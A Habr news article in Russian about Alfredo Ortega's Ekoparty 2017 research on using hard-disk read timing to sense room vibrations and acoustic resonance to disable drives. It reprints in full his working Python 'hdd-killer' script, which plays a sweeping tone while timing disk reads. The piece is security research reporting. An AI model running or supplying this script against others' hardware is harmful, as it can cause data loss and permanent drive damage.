Почему нельзя кричать на свой HDD

alizar 17 октября в 12:20 39,5k



На конференции по компьютерной безопасности Ekoparty 2017 в Буэнос-Айресе аргентинский хакер Альфредо Ортега (Alfredo Ortega) показал очень интересную разработку — систему скрытой прослушки помещений без использования микрофона. Звук записывается непосредственно жёстким диском!

HDD улавливает, в основном, низкочастотные звуки высокой интенсивности, шаги и другие вибрации. Человеческую речь распознать пока нельзя, хотя учёные ведут исследования в этом направлении (распознавание речи по низкочастотным вибрациям, которые снимаются, например, с гироскопа или HDD).

Звук — это колебания воздуха или другой среды. Человек воспринимает их через барабанную перепонку, которая передаёт колебания во внутреннее ухо. Микрофон устроен примерно как ухо — здесь тоже колебания регистрируются тонкой мембраной, которая возбуждает электрический импульс. Жёсткий диск, разумеется, тоже подвержен микроскопическим вибрациям из-за колебаний окружающего воздуха. Это известно даже по техническим характеристикам HDD: производители обычно указывают максимально допустимый уровень вибраций, а сам жёсткий диск часто стараются поместить в защищённый от вибраций контейнер из резины или другого изоляционного материала. Из этого легко сделать вывод, что с помощью HDD можно регистрировать звуки. Осталось только придумать, как.

Альфредо Ортега предложил своеобразный вариант атаки по сторонним каналам (side-channel attack), а именно атаки по времени. Эта атака основана на предположении, что различные операции выполняются в устройстве за различное время, в зависимости от поданных входных данных. В данном случае «входными данными» являются колебания считывающей головки и пластины HDD, которые коррелируют с вибрациями среды, то есть со звуком. Таким образом, измеряя время вычислений и проводя статистический анализ данных, можно измерить колебания головки/пластины и, следовательно, вибрации среды. Чем больше задержка в считывании данных — тем сильнее колебания HDD и, значит, тем громче звук.

Как измерить колебания жёсткого диска? Очень просто: достаточно всего лишь запустить системный вызов read () — и зарегистрировать время, за которое он выполняется. Современные операционные системы позволяют считывать тайминг системных вызовов с точностью до наносекунды.

Скорость чтения информации с сектора зависит от положения головки и пластины, которое коррелирует с вибрациями корпуса HDD. Вот и всё.

Статистический анализ осуществляется с помощью простенькой утилиты Kscope. Как говорится, всё гениальное просто.


Утилита Kscope (stat () syscall)

Kscope — маленькая утилита для визуализации крохотный различий во времени выполнения системных вызовов. Исходный кодопубликован на GitHub.

В отдельном репозитории hdd-time лежит версия утилиты, настроенная на атаку по времени на жёсткий диск, то есть настроенная на анализ системного вызова read ().

Демонстрация звукозаписи с помощью HDD, работа утилиты Kscope


Конечно же, речь нельзя разобрать таким способом, но в качестве датчика вибраций HDD вполне сгодится. Например, вы можете регистрировать, если в помещение с компьютером зашёл человек в твёрдой обуви или босиком (вероятно, если злоумышленник обут в мягкие кроссовки или на полу постелен толстый ковёр, то HDD не сможет зарегистрировать вибрации — это стоит проверить). Компьютер способен зарегистрировать разбитое стекло или другое происшествие с сильной интенсивностью звука. То есть жёсткий диск может выполнять роль своеобразной системы обнаружения несанкционированных проникновений.

HDD-киллер


Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.


Ядро Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из видеоролика с демонстрацией работы HDD-киллера

Любопытно, что такие «атаки» на HDD иногда происходят совершенно случайно в обычной жизни. Например, в сентябре 2016 года дата-центр ING Bank был вынужден приостановить работу на 10 часов после пожарных учений. Десятки жёстких дисков вышли из строя из-за громкого звука инертного газа, выпускаемого из баллонов под большим давлением. Звук был очень громким (более 130 дБ), а ведь даже кричать на жёсткие диски нельзя — это увеличивает задержку доступа к HDD.

Демонстрация человеческого крика на жёсткие диски в дата-центре. Измерение задержки


Для генерации резонирующего звука Альфредо Ортега написал питоновский скрипт под названием hdd-killer (демонстрация на видео).

Скрипт HDD-киллера совсем небольшой так что можно его целиком опубликовать здесь.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.\n\n" +\
	  "The disk will be opened as read-only.\n" + \
          "Warning: It might cause damage to HDD.\n" +\
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()
Проголосовать:
+58
Сохранить:
Лучшее на Habrahabr

 «Угнать за 60 секунд» на примере одного каршеринга

из песочницы
Valya-rollerсегодня в 11:34
24

Intel устранила найденную экспертами Positive Technologies уязвимость в подсистеме Management Engine

ptsecurityвчера в 18:51
21

Обзор программы Heisenbug 2017 Moscow: сколько нужно тестировщиков, чтобы запустить тесты на атомной электростанции?

olegchirвчера в 17:14
1

Новая многообещающая методология разработки, которую уже назвали «убийцей Agile»*

botyaslonimсегодня в 14:30
7

Выпуск Rust 1.22 (и 1.22.1)

перевод
ozkriffсегодня в 06:19
4

Данные из Google Таблиц на вашем сайте

tutorial
dkomarovskiyсегодня в 11:09
9

Трёхмерная графика с нуля. Часть 2: растеризация

перевод
PatientZeroсегодня в 11:38
2

Развитие стратегий устойчивости

перевод
AloneCoderсегодня в 13:11
0

Черная пятница айтишника, или Сказ о потере данных

JetHabrсегодня в 15:02
3

HPE ProLiant for Microsoft Azure Stack: частичка облака Azure под вашим полным контролем

Tiggerсегодня в 07:40
2